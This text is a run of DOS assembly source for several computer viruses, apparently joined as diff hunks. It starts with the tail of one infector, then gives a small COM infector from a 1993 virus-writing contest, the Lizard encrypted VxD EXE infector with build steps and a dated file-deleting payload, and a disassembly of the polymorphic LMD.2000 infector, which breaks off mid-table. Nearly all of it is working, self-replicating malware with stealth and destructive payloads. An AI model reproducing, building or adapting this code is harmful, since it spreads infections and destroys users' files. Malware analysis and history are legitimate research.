xor ax,ax ;Clear registers
xor bx,bx
xor dx,dx
xor si,si
mov di,100 ;Jump to CS:100
push di ; by doing funny RET
xor di,di
ret -1
data label byte ;Data section
dtaaddr dd ? ;Disk Transfer Address
ftime dw ? ;File date
fdate dw ? ;File time
fattrib dw ? ;File attribute
saveins db 0EBh,0Fh,90 ;Original first 3 bytes
newjmp db 0E9 ;Code of jmp instruction
filloc dw ? ;File pointer is saved here
allcom db '*.COM',0 ;Filespec to search for
poffs dw ? ;Address of 'PATH' string
eqoffs dw ? ;Address of '=' sign
pathstr db 'PATH='
fname db 40 dup (' ') ;Path name to search for
;Disk Transfer Address for Find First / Find Next:
mydta label byte
drive db ? ;Drive to search for
pattern db 13d dup (?) ;Search pattern
reserve db 7 dup (?) ;Not used
attrib db ? ;File attribute
time dw ? ;File time
date dw ? ;File date
fsize dd ? ;File size
namez db 13d dup (?) ;File name found
;This replaces the first instruction of a destroyed file:
bad_jmp db 0EA,0Bh,2,13,58
enddata label byte
code ends
end start

@@ -0,0 +1,153 @@
;A small (139 byte) virus with minimal required functionality.
;This Virus for research purposes only. Please do not release!
;Please execute it only on a carefully controlled system, and only
;if you know what you're doing!
;An example for
;#######################################################
;# THE FIRST INTERNATIONAL VIRUS WRITING CONTEST #
;# 1 9 9 3 #
;# sponsored by #
;# American Eagle Publications, Inc. #
;#######################################################
;Assemble this file with TASM 2.0 or higher: "TASM LITTLE;"
;Link as "TLINK /T LITTLE;"
;Basic explanation of how this virus works:
;
;The virus takes control when the program first starts up. All of its code is
;originally located at the start of a COM file that has been infected. When
;the virus starts, it takes over a segment 64K above the one where the program
;was loaded by DOS. It copies itself up there, and then searches for an
;uninfected file. To determine if a file is infected, it checks the first two
;bytes to see if they are the same as its first two bytes. It reads the file
;into memory right above where it is sitting (at 100H in the upper segment).
;If not already infected, it just writes itself plus the file it infected back
;out to disk under the same file name. Then it moves the host in the lower
;segment back to offset 100H and executes it.
.model tiny ;Tiny model to create a COM file
.code
;DTA definitions
DTA EQU 0000H ;Disk transfer area
FSIZE EQU DTA+1AH ;file size location in file search
FNAME EQU DTA+1EH ;file name location in file search
ORG 100H
;******************************************************************************
;The virus starts here.
VIRSTART:
mov ax,ds
add ax,1000H
mov es,ax ;upper segment is this one + 1000H
mov si,100H ;put virus in the upper segment
mov di,si ;at offset 100H
; mov cl,BYTE (OFFSET HOST AND 0FFH) ;can't code this with TASM
mov cl,8BH ;we can assume ch=0
rep movsb ;this will louse the infection up if run under debug!
mov ds,ax ;set ds to high segment
push ds
mov ax,OFFSET FIND_FILE
push ax
retf ;jump to high memory segment
;Now it's time to find a viable file to infect. We will look for any COM file
;and see if the virus is there already.
FIND_FILE:
xor dx,dx ;move dta to high segment
mov ah,1AH ;so we don't trash the command line
int 21H ;which the host is expecting
mov dx,OFFSET COMFILE
mov ch,3FH ;search for any file, no matter what attribute (note: cx=0 before this instr)
mov ah,4EH ;DOS search first function
int 21H
CHECK_FILE: jc ALLDONE ;no COM files to infect
mov dx,FNAME ;first open the file
mov ax,3D02H ;r/w access open file, since we'll want to write to it
int 21H
jc NEXT_FILE ;error opening file - quit and say this file can't be used
mov bx,ax ;put file handle in bx, and leave it there for the duration
mov di,FSIZE
mov cx,[di] ;get file size for reading into buffer
mov dx,si ;and read file in at HOST in new segment (note si=OFFSET HOST)
mov ah,3FH ;DOS read function
int 21H
mov ax,[si] ;si=OFFSET HOST here
jc NEXT_FILE ;skip file if error reading it
cmp ax,WORD PTR [VIRSTART] ;see if infected already
jnz INFECT_FILE ;nope, go do it
mov ah,3EH ;else close the file
int 21H ;and fall through to search for another file
NEXT_FILE: mov ah,4FH ;look for another file
int 21H
jmp SHORT CHECK_FILE ;and go check it out
COMFILE DB '*.COM',0
;When we get here, we've opened a file successfully, and read it into memory.
;In the high segment, the file is set up exactly as it will look when infected.
;Thus, to infect, we just rewrite the file from the start, using the image
;in the high segment.
INFECT_FILE:
xor cx,cx
mov dx,cx ;reset file pointer to start of file
mov ax,4200H
int 21H
mov ah,40H
mov dx,100H
mov cx,WORD PTR [di] ;adjust size of file for infection
add cx,OFFSET HOST - 100H
int 21H ;write infected file
mov ah,3EH ;close the file
int 21H
;The infection process is now complete. This routine moves the host program
;down so that its code starts at offset 100H, and then transfers control to it.
ALLDONE:
mov ax,ss ;set ds, es to low segment again
mov ds,ax
mov es,ax
push ax ;prep for retf to host
shr dx,1 ;restore dta to original value
mov ah,1AH ;for compatibility
int 21H
mov di,100H ;prep to move host back to original location
push di
; mov cx,sp ;move code, but don't trash the stack
; sub cx,si
mov cx,0FE6FH ;hand code the above to save a byte
rep movsb ;move code
retf ;and return to host
;******************************************************************************
;The host program starts here. This one is a dummy that just returns control
;to DOS.
HOST:
mov ax,4C00H ;Terminate, error code = 0
int 21H
HOST_END:
END VIRSTART

@@ -0,0 +1,626 @@
;-----------------------------------------------------------------------------
;Lizard by Reptile/29A (another version ;)
;-----------------------------------------------------------------------------
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;This is an encrypted vxd direct action dos exe infector (I added some anti-
;heuristics and other stuff and optimized the code of v1.0).
;When an infected file is run the virus decrypts itself, drops lzd.vxd to the
;available one of the three dirs and then returns back to the host. After the
;next reboot...
;When windoze 95 is starting, it loads the vxd (lzd.vxd) automatically coz
;it's in the '\iosubsys\' dir (Lizard doesn't need to modify the system.ini
;or the registry). Then the virus takes control and hooks the V86 interrupt
;chain. It executes on exec (4bh), create (3ch), ext. open (6ch), close (3eh)
;and on find first file (4eh) using direct action techniques to infect all
;dos exes in the current directory (*highly* infectious!). Lzd.vxd has a size
;of 7099 bytes (masm sux! :P ), but the victims are only increased by 1967 (!)
;bytes.
;Findvirus v7.75, AVP v3.0 and TBAV v8.03 (high heuristic sensitivity!) can't
;detect it (all for win95).
;Compiling lzd.vxd (win95 DDK):
;makefile
;Compiling rmlzd.inc:
;tasm /m2 rmlzd.asm
;tlink /t rmlzd.obj
;file2db rmlzd.com (or another db generator)
;modify rmlzd.dat
;To install copy lzd.vxd to one of the following dirs:
;- c:\windows\system\iosubsys
;- c:\win95\system\iosubsys
;- c:\windows.000\system\iosubsys
;...or start lizard.exe :)
;P.S.:
;Sandy: are u lucky now? ;)
;Jacky: thanx for testing it!
;GriYo: the stack stuff really didn't work :P
;P.P.S:
;TrY MaGiC MuShRoOmS...
;---[LZD.ASM]-----------------------------------------------------------------
.386p
.xlist
include vmm.inc
.list
vxdhsize equ 701
vxddsize equ 81
vxdcsize equ 880
esize equ encend - encstart
vsize equ vend - start
Declare_Virtual_Device LZD, 6, 66, LZD_Control, Undefined_Device_Id, \
Undefined_Init_Order,,
VxD_Locked_Data_Seg
wcard db '*.e?e',0 ;*.l?z
include rmlzd.inc ;realmode code
dflag db 0
pflag db 0
ndta db 43 dup (?)
header db 26 dup (?)
VxD_Locked_Data_Ends
;-----------------------------------------------------------------------------
VxD_Locked_Code_Seg
BeginProc LZD_Device_Init
;trigger
mov ah,2ah ;get date
vxdint 21h
;live drazil si
cmp dh,10 ;26.10.?
jne npload
cmp dl,26
jne npload
mov pflag,1 ;hehe
npload:
mov eax,21h ;install int 21h handler
mov esi,offset32 int21h
VMMcall Hook_V86_Int_Chain
clc
ret
EndProc LZD_Device_Init
;-----------------------------------------------------------------------------
BeginProc int21h
cmp [ebp.Client_AH],4bh ;exec
je short ww
cmp [ebp.Client_AH],3ch ;create
je short ww
cmp [ebp.Client_AH],6ch ;ext. open
je short ww
cmp [ebp.Client_AH],3eh ;close
je short ww
cmp [ebp.Client_AH],4eh ;find first
je short ww
jmp prevhook
ww:
Push_Client_State ;save regs
VMMcall Begin_Nest_Exec
;-----------------------------------------------------------------------------
cmp dflag,1
je done
mov ax,3d02h ;open lzd.vxd
lea edx,dropname1 ;in the 'c:\windows\system\iosubsys' dir
vxdint 21h
jnc short rd
mov ax,3d02h ;open the vxd
lea edx,dropname2 ;in the 'c:\win95\system\iosubsys' dir
vxdint 21h
jnc short rd
mov ax,3d02h ;open the vxd
lea edx,dropname3 ;in the 'c:\windows.000\system\iosubsys' dir
vxdint 21h
jc ecsit ;skip it
rd:
xchg ax,bx
mov ah,3fh ;store the header of the vxd
mov cx,vxdhsize
lea edx,vxdheader
vxdint 21h
mov ax,4201h ;jmp over zeros
xor cx,cx
mov dx,3400
vxdint 21h
mov ah,3fh ;store the vxddata
mov cx,vxddsize
lea edx,vxddata
vxdint 21h
mov ax,4201h ;jmp over realmodecode and zeros
xor cx,cx
mov dx,2037
vxdint 21h
mov ah,3fh ;store the vxdcode
mov cx,vxdcsize
lea edx,vxdcode
vxdint 21h
mov ah,3eh ;close...
vxdint 21h
mov dflag,1 ;set flag
;-----------------------------------------------------------------------------
done:
mov ah,1ah ;set dta
lea edx,ndta
vxdint 21h
ffirst:
mov ah,4eh ;search for first exe
jmp short w
fnext:
mov ah,4fh ;find next exe
w:
mov cx,7
lea edx,wcard ;*.e?e
vxdint 21h
jc ecsit
mov ax,4301h ;set normal attribute
mov cx,20h
lea edx,[ndta + 30]
vxdint 21h
cmp pflag,1 ;sux0ring microsuckers
jne pheeew ;(the payload in v1.0 was a bit too destructive ;)
evil:
;evil payload against the imperialism of microsoft!
mov ah,41h ;yhcrana
lea edx,[ndta + 30]
vxdint 21h
jmp ecsit
pheeew:
mov ax,3d02h ;open the victim
lea edx,[ndta + 30]
vxdint 21h
jc fnext
xchg ax,bx
mov ah,3fh ;read header
mov cx,26
lea edx,header
vxdint 21h
cmp word ptr [header],'ZM' ;exe?
jne cfile
cmp word ptr [header + 0ch],0ffffh ;allocate all mem?
jne cfile
cmp word ptr [header + 18h],40h ;win exe?
je cfile
mov al,[header + 12h] ;infected?
or al,al
jne cfile
;save ss:sp
mov ax,word ptr [header + 0eh]
mov sseg,ax
mov ax,word ptr [header + 10h]
mov ssp,ax
;save cs:ip
mov eax,dword ptr [header + 14h]
mov csip,eax
mov ax,4202h ;eof
xor cx,cx
cwd
vxdint 21h
;calc new cs:ip
mov cx,16
div cx
sub ax,word ptr [header + 8]
mov word ptr [header + 14h],dx
mov word ptr [header + 16h],ax
add edx,vend ;calc stack
mov word ptr [header + 0eh],ax
mov word ptr [header + 10h],dx
;xor encryption
rdnm:
in al,40h
or al,al
je rdnm
mov [encval],al ;save random value
mov edi,offset32 encstart
mov cx,esize
xl:
xor [edi],al
inc edi
loop xl
;write virus
mov ah,40h
mov cx,vsize
mov edx,offset32 start
vxdint 21h
;undo
mov al,[encval]
mov edi,offset32 encstart
mov cx,esize
xll:
xor [edi],al
inc edi
loop xll
mov ax,4202h ;eof
xor cx,cx
cwd
vxdint 21h
mov cx,512 ;calc pages
div cx
or dx,dx
jz short np
inc ax
np:
mov word ptr [header + 4],ax
mov word ptr [header + 2],dx
mov ax,4200h ;bof
xor cx,cx
cwd
vxdint 21h
rnd:
in al,40h ;set infection flag
or al,al
je rnd
mov [header + 12h],al
mov ah,40h ;write new header
mov cx,26
lea edx,header
vxdint 21h
cfile:
mov cl,byte ptr [ndta + 21] ;restore attribute
lea edx,[ndta + 1eh]
mov ax,4301h
vxdint 21h
mov cx,word ptr [ndta + 22] ;restore time/date
mov dx,word ptr [ndta + 24]
mov ax,5701
vxdint 21h
mov ah,3eh ;close file
vxdint 21h
jmp fnext
ecsit:
VMMcall End_Nest_Exec
Pop_Client_State
prevhook:
stc
ret
EndProc int21h
;-----------------------------------------------------------------------------
BeginProc LZD_Control
Control_Dispatch Init_Complete,LZD_Device_Init
clc
ret
EndProc LZD_Control
wb db 13,10,'Lizard by Reptile/29A',0
VxD_Locked_Code_Ends
End ;this is the end my only friend the end...
;---[RMLZD.ASM]---------------------------------------------------------------
;Lizard's real mode portion
.286
vxdhsize equ 701
vxddsize equ 81
vxdcsize equ 880
esize equ encend - encstart
rmsize equ rmend - rmstart
.model tiny
.code
org 100h
start:
rmstart:
;get delta
;-----------------------------------------------------------------------------
call $ + 3
drazil:
pop si
sub si,offset drazil
push si
pop bp
;-----------------------------------------------------------------------------
push ds ;coz psp
push cs
pop ds
;decrypt it
db 176 ;mov al
encval db 0
;-----------------------------------------------------------------------------
lea di,[bp + offset encstart]
mov cx,esize
xd:
jmp fj
fj2:
inc di
loop xd
jmp encstart
fj:
xor [di],al
jmp fj2
;-----------------------------------------------------------------------------
encstart:
mov ax,3d00h ;try to open lzd.vxd in
lea dx,[bp + offset dropname1] ;c:\windows\system\iosubsys
int 21h
jnc cfile ;exit if already installed
mov ah,3ch ;install lzd.vxd
xor cx,cx
int 21h
jnc inst
mov ax,3d00h ;try to open lzd.vxd in
lea dx,[bp + offset dropname2] ;c:\win95\system\iosubsys
int 21h
jnc cfile
mov ah,3ch
xor cx,cx
int 21h
jnc inst
mov ax,3d00h ;try to open lzd.vxd in
lea dx,[bp + offset dropname3] ;c:\windows.000\system\iosubsys
int 21h
jnc cfile
mov ah,3ch
xor cx,cx
int 21h
jc exit
inst:
xchg ax,bx
mov ah,40h ;write the header
mov cx,vxdhsize
lea dx,[bp + offset vxdheader]
int 21h
;write some zeros
mov cx,3400
lzero:
push cx
mov ah,40h
mov cx,1
lea dx,[bp + zero]
int 21h
pop cx
loop lzero
mov ah,40h ;write the data
mov cx,vxddsize
lea dx,[bp + offset vxddata]
int 21h
mov ah,40h ;write the rmcode
mov cx,rmsize
lea dx,[bp + offset rmstart]
int 21h
;write some more zeros
mov cx,1732
lzero2:
push cx
mov ah,40h
mov cx,1
lea dx,[bp + zero]
int 21h
pop cx
loop lzero2
mov ah,40h ;write the code
mov cx,vxdcsize
lea dx,[bp + offset vxdcode]
int 21h
cfile:
mov ah,3eh
int 21h
;exe return
exit:
pop ax ;psp
add ax,11h
dec ax
add word ptr [bp + offset csip + 2],ax
;stack
db 5 ;add ax
sseg dw 0fff0h ;test
mov ss,ax
db 0bch ;mov sp
ssp dw 0fffeh
db 0eah
csip dd 0fff00000h
zero db 0
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
rmend:
vxdheader db vxdhsize dup (?)
vxddata db vxddsize dup (?)
vxdcode db vxdcsize dup (?)
encend:
ends
end start
;---[RMLZD.INC]---------------------------------------------------------------
;Modified db listing of rmlzd.com
start:
db 0E8h, 000h, 000h, 05Eh, 081h, 0EEh, 003h, 001h
db 056h, 05Dh, 01Eh, 00Eh, 01Fh, 0B0h
;db 000h
encval db 0
db 08Dh
db 0BEh, 021h, 001h, 0B9h, 08Eh, 007h, 0EBh, 005h
db 047h, 0E2h, 0FBh, 0EBh, 004h, 030h, 005h, 0EBh
db 0F7h
encstart:
db 0B8h, 000h, 03Dh, 08Dh, 096h, 0C6h, 001h
db 0CDh, 021h, 073h, 07Fh, 0B4h, 03Ch, 033h, 0C9h
db 0CDh, 021h, 073h, 026h, 0B8h, 000h, 03Dh, 08Dh
db 096h, 0E9h, 001h, 0CDh, 021h, 073h, 06Ch, 0B4h
db 03Ch, 033h, 0C9h, 0CDh, 021h, 073h, 013h, 0B8h
db 000h, 03Dh, 08Dh, 096h, 00Ah, 002h, 0CDh, 021h
db 073h, 059h, 0B4h, 03Ch, 033h, 0C9h, 0CDh, 021h
db 072h, 055h, 093h, 0B4h, 040h, 0B9h, 0BDh, 002h
db 08Dh, 096h, 031h, 002h, 0CDh, 021h, 0B9h, 048h
db 00Dh, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
db 0B4h, 040h, 0B9h, 051h, 000h, 08Dh, 096h, 0EEh
db 004h, 0CDh, 021h, 0B4h, 040h, 0B9h, 031h, 001h
db 08Dh, 096h, 000h, 001h, 0CDh, 021h, 0B9h, 0C4h
db 006h, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
db 0B4h, 040h, 0B9h, 070h, 003h, 08Dh, 096h, 03Fh
db 005h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 058h
db 005h, 011h, 000h, 048h, 001h, 086h, 0C3h, 001h
db005h
;db 0F0h, 0FFh
sseg dw 0fff0h ;not necessary
db 08Eh, 0D0h, 0BCh
;db 0FEh, 0FFh
ssp dw 0fffeh
db0EAh
;db 000h, 000h, 0F0h, 0FFh
csip dd 0fff00000h
db 000h
;db 063h, 03Ah
;db05Ch, 077h, 069h, 06Eh, 064h, 06Fh, 077h, 073h
;db05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch
;db069h, 06Fh, 073h, 075h, 062h, 073h, 079h, 073h
;db05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h, 064h
;db000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh, 039h
;db035h, 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh
;db05Ch, 069h, 06Fh, 073h, 075h, 062h, 073h, 079h
;db 073h, 05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h
;db 064h, 000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh
;db 064h, 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h
;db 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch
;db069h, 06Fh, 073h, 075h, 062h, 073h, 079h, 073h
;db05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h, 064h
;db000h
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
vxdheader db vxdhsize dup (?)
vxddata db vxddsize dup (?)
vxdcode db vxdcsize dup (?)
encend:
vend:
;---[LZD.DEF]-----------------------------------------------------------------
VXD LZD DYNAMIC
DESCRIPTION ''
SEGMENTS
_LPTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_LTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_LDATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
_TEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_DATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
CONST CLASS 'LCODE' PRELOAD NONDISCARDABLE
_TLS CLASS 'LCODE' PRELOAD NONDISCARDABLE
_BSS CLASS 'LCODE' PRELOAD NONDISCARDABLE
_ITEXT CLASS 'ICODE' DISCARDABLE
_IDATA CLASS 'ICODE' DISCARDABLE
_PTEXT CLASS 'PCODE' NONDISCARDABLE
_PDATA CLASS 'PDATA' NONDISCARDABLE SHARED
_STEXT CLASS 'SCODE' RESIDENT
_SDATA CLASS 'SCODE' RESIDENT
_DBOSTART CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_DBOCODE CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_DBODATA CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_16ICODE CLASS '16ICODE' PRELOAD DISCARDABLE
_RCODE CLASS 'RCODE'
EXPORTS
LZD_DDB @1
;---[MAKEFILE]----------------------------------------------------------------
NAME = lzd
LINK = LINK
ASM = ml
AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 -DDEBLEVEL=0
ASMENV = ML
LFLAGS = /VXD /NOD
.asm.obj:
set $(ASMENV)=$(AFLAGS)
$(ASM) -Fo$*.obj $<
all : $(NAME).VXD
OBJS = lzd.obj
lzd.obj: lzd.asm
$(NAME).VxD: $(NAME).def $(OBJS)
link @<<$(NAME).lnk
$(LFLAGS)
/OUT:$(NAME).VxD
/MAP:$(NAME).map
/DEF:$(NAME).def
$(OBJS)
<<
@del *.exp>nul
@del *.lib>nul
@del *.map>nul
@del *.obj>nul
;...
@@ -0,0 +1,587 @@
; LMD.2000
; Resident Polymorphic COM Infector
; Virus Reroutes Int 21h Handler through Int 84h and uses Int 84h for
; virus function calls. Int 21h Function 4Bh (Set Execution State) is hooked
; for infection routine. Virus prepends its body to files and writes 2000
; original bytes to end of file. Polymorphic routine makes 128 random
; one byte instructions and then fills in crypt information.
; Cleaning Instructions - Overwrite First 2000 Bytes with Last 2000 Bytes
; Detection - No scanners detect this beastie yet.
; Research and Disassembly by PakiLad 05/03/97
p386n
seg000 segment byte public 'CODE' use16
assume cs:seg000
org 100h
assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
start:
db 128 dup (90h) ; Buffer For Cryptor
CryptedCode:
jmp VirusStart
OneByteTable db 26h ; SEGES
db 27h ; DAA
db 2Eh ; SEGCS
db 2Fh ; DAS
db 0FBh ; STI
db 37h ; AAA
db 3Eh ; SEGDS
db 3Fh ; AAS
db 40h ; INC AX
db 42h ; INC DX
db 46h ; INC SI
db 48h ; DEC AX
db 4Ah ; DEC DX
db 4Eh ; DEC SI
db 90h ; NOP
db 92h ; XCHG AX, DX
InfMarker db 'LMD'
GetRand15 proc near
push cx
in ax, 40h ; Get Random Number
xchg ax, cx
MakeRandLoop:
xor ax, cx
loop MakeRandLoop
xchg ax, cx
in ax, 40h ; Get Random Number
inc cx
xor ax, cx
and ax, 0Fh ; Number 0 - 15
pop cx
retn
GetRand15 endp
GetOneByteIns proc near
push di
mov di, offset OneByteTable
call GetRand15
add di, ax
mov al, cs:[di]
pop di
retn
GetOneByteIns endp
CopyOverVir proc near
push bx
push es
push ds
nop
push cs
pop es ; ES = CS
assume es:seg000
mov di, offset Buffer+10h
mov si, offset start + 10h
mov cx, 2000
rep movsb
push ds
pop ax
add ax, 126
mov [RestoreSeg + 10h], ax
mov al, [LastByte + 10h]
push ax
push cs
mov ax, offset StoreLastByte + 10h
push ax
mov [LastByte + 10h], 0CBh
jmp near ptr JMPFarProg
CopyOverVir endp
StoreLastByte:
pop ax
pop ds
mov [LastByte + 10h], al
pop es
assume es:nothing
pop bx
retn
CheckGeneration proc near
in al, 40h ; Get Random Number
cmp al, 240 ; Below 240?
jb RandBelow240 ; Yes? Then JMP.
call GenerateCryptor
call GenerateCryptor
push dx
db 8Dh, 16h, 88h, 02h ; (FIXUP) LEA DX, OFFSET FAKE4DOSGW
mov ah, 9
int 21h ; Write Fake Message
pop dx
RandBelow240:
retn
CheckGeneration endp
SetupInt84 proc near
push es
push bx
push di
xor ax, ax
mov di, 211h ; Offset of INT 84h
push ds
mov ds, ax ; DS points to IVT
assume ds:nothing
cmp word ptr [di], 0 ; Is Virus Installed?
jnz AlreadyInMem ; Yes? Then JMP.
mov ax, 3521h
int 21h ; Get Int 21h Vectors
dec di
mov ax, es
mov [di], bx ; Set New Int 84h Offset
inc di
inc di
mov [di], ax ; Set New Int 84h Segment
cmp ax, ax
AlreadyInMem:
pop ds
assume ds:seg000
pop di
pop bx
pop es
retn
SetupInt84 endp
InstallVirus proc near
push si
push di
push bx
mov ax, 5803h
xor bx, bx
int 21h ; Get UMB Link Status
push es
push dx
mov ax, 3521h
int 21h ; Get Int 21h Vectors
mov ax, es
mov cs:Int21Ofs, bx
mov cs:Int21Seg, ax
push ds
push ds
pop ax
dec ax
mov ds, ax ; DS points to MCB
assume ds:nothing
sub word ptr ds:3, 272 ; Subtract 4352 Bytes
sub word ptr ds:12h, 272 ; Subtract 4352 Bytes From Next Seg
mov es, ds:12h ; ES points to Next Segment
xor di, di
xor si, si
mov cx, 2272
rep movsb ; Copy Virus Into Memory
xor ax, ax
mov ds, ax ; DS points to IVT
assume ds:nothing
sub word ptr ds:413h, 5 ; Subtract 5k From System Memory
mov word ptr es:1, 0 ; Set New PSP Segment
mov word ptr es:3, 272 ; Allocate 4352 Bytes
push es
pop ds ; DS = ES
assume ds:seg000
mov ax, 2521h
mov dx, offset NewInt21 + 10h
int 21h ; Set New Int 21h Vectors
pop ds
pop dx
pop es
pop bx
pop di
pop si
retn
InstallVirus endp
FakeDOS4GW db 0Ah
db 'DOS/4GW Protected Mode Run-time Version 1.95',0Dh,0Ah
db 'Copyright (c) Rational Systems, Inc. 1990-1993',0Dh,0Ah
db 0Dh,0Ah,'$'
JMPFarProg db 0EAh
RestoreOfs dw 100h
RestoreSeg dw 0
RestoreRoutine:
rep movsb
pop di
pop si
pop cx
jmp short $+2
FileSize dw 0
NewInt24:
mov al, 3
iret
db 37h
VirusStart:
call CheckGeneration
in al, 40h ; Get Random Number
cmp al, 16 ; Above 16?
ja NoPayload ; Yes? Then JMP.
mov ax, 11h
int 10h ; Set Video Mode 80x13
mov ax, 0A000h
mov es, ax ; ES points to Video Memory
assume es:nothing
mov di, 3222h
mov si, offset Graphic
mov cx, 80
DisplayGraphic:
push cx
mov cx, 80
DisplayLine:
cmp cx, 69
jb Below69
mov al, [si]
inc si
mov es:[di], al
Below69:
inc di
loop DisplayLine
pop cx
loop DisplayGraphic
mov ah, 9
mov dx, offset LozMustDie
int 21h ; Write String
xor ax, ax
int 16h ; Wait For KeyPress
jmp near ptr Reboot
LozMustDie db 9,9,0Ah
db 9,0Ah
db 0Ah
db 0Ah
db 7,' Lozinsky MuST DiE!$'
NoPayload:
xor ax, ax
call GenerateCryptor
call SetupInt84
jnz RestoreProg
call InstallVirus
RestoreProg:
mov si, offset start
mov di, 0FFFEh
xor dx, dx
push cx
push si
push di
push cs
pop es
assume es:seg000
mov si, offset RestoreRoutine
mov di, 0F9h
mov cx, 7
rep movsb ; Copy Restore Routine
mov si, [si]
mov di, offset start
add si, di
mov cx, 2000
db 0E9h,069h,0FDh ; JMP To Restore Routine
NewInt21:
cmp ax, 4B00h ; Set Execution State?
jz InfectFile ; Yes? Then JMP.
JMPFar21 db 0EAh
Int21Ofs dw 0
Int21Seg dw 0
InfectFile:
pushf
push ax
push bx
push cx
push es
push si
push di
push dx
push ds
push cs
pop ds
mov dx, offset NewInt24 + 10h
mov ax, 2524h
int 84h ; Set New Int 24h
pop ds
pop dx
push dx
push ds
mov ax, 4300h
push ax
int 84h ; Get File Attributes
pop ax
inc ax
push ax
push cx
and cl, 0D8h
int 84h ; Clear File Attributes
jb FileProblems ; Problems? Then JMP.
mov ax, 3D02h
int 84h ; Open File
xchg ax, bx
mov ax, 5700h
int 84h ; Get File Date/Time
push cx
push dx
push cs
pop ds ; DS = CS
mov cx, 128
mov dx, offset Buffer+10h
mov ah, 3Fh
int 84h ; Read In 128 Bytes
cmp cx, ax ; Read 128 ?
jnz RestoreTD ; No? Then JMP.
mov al, [Buffer+10h]
cmp al, 'M' ; EXE File?
jz RestoreTD ; Yes? Then JMP.
cmp al, 'Z' ; EXE File?
jz RestoreTD ; Yes? Then JMP.
call CheckForMark
jz RestoreTD ; Infected Already? Then JMP.
call DoInfect
call NotBigEnough
RestoreTD:
pop dx
pop cx
mov ax, 5701h
int 84h ; Restore File Date/Time
mov ah, 3Eh
int 84h ; Close File
FileProblems:
pop cx
pop ax
int 84h ; Restore File Attributes
pop ds
pop dx
pop di
pop si
pop es
assume es:nothing
pop cx
pop bx
pop ax
popf
jmp short near ptr JMPFar21
CheckForMark proc near
push di
push si
mov di, offset InfMarker
mov cx, 16
FindMark:
mov al, [di]
push cx
mov si, offset Buffer+10h
mov cx, 128
CheckForMarker:
mov ah, [si]
cmp al, ah
jz FoundMark
inc si
loop CheckForMarker
cmp ax, cx
pop cx
jmp short DoneWithMark
FoundMark:
pop cx
inc di
loop FindMark
cmp ax, ax
DoneWithMark:
pop si
pop di
CheckForMark endp
NotBigEnough proc near
retn
NotBigEnough endp
DoInfect proc near
mov cx, 1872
mov dx, offset OrgProgram+10h
mov ah, 3Fh
int 84h ; Read In 1872 Bytes
cmp ax, cx ; Read 1872?
jnz NotBigEnough ; No? Then JMP.
xor cx, cx
xor dx, dx
mov ax, 4202h
int 84h ; Move Pointer to End of File
jb NotBigEnough
cmp dx, 0 ; Over 64k?
jnz NotBigEnough ; Yes? Then JMP.
cmp ax, 2048 ; Under 2048 Bytes?
jb NotBigEnough ; Yes? Then JMP.
cmp ax, 60000 ; Over 60000 Bytes?
ja NotBigEnough ; Yes? Then JMP.
cmp Buffer+30h, 0
jz NotBigEnough
mov [FileSize + 10h], ax
mov ah, 40h
mov dx, offset Buffer+10h
mov cx, 2000
int 84h ; Write Original Bytes To End of File
jb NotBigEnough
call CopyOverVir
xor cx, cx
xor dx, dx
mov ax, 4200h
int 84h ; Move Pointer to Beginning
mov ah, 40h
mov dx, offset Buffer+10h
mov cx, 2000
int 84h ; Write Virus to File
retn
DoInfect endp
Graphic db 0, 30h, 0Bh dup(0), 20h, 2 dup(0), 1Ah, 0FBh, 0EBh, 9Fh, 90h, 4 dup(0)
db 20h, 2 dup(0), 47h, 2 dup(25h), 0FDh, 0AAh, 4 dup(0), 0E0h, 0, 7, 0FAh
db 12h, 92h, 22h, 54h, 80h, 3 dup(0), 0C0h, 0Ch, 4, 0, 0A8h, 4Ah, 94h
db 55h, 40h, 3 dup(0), 0C0h, 8, 0Dh, 5Ah, 45h, 2 dup(55h), 0AAh, 0A0h
db 3 dup(0), 0C0h, 0FBh, 0F2h, 4, 95h, 54h, 0AAh, 5Dh, 0A0h, 3 dup(0)
db 0DDh, 80h, 28h, 0A2h, 49h, 2 dup(55h), 2 dup(0AAh), 3 dup(0), 0D7h
db 0Ah, 2, 19h, 25h, 5Dh, 4Ah, 6Dh, 0A4h, 3 dup(0), 0E6h, 0, 0A8h, 84h
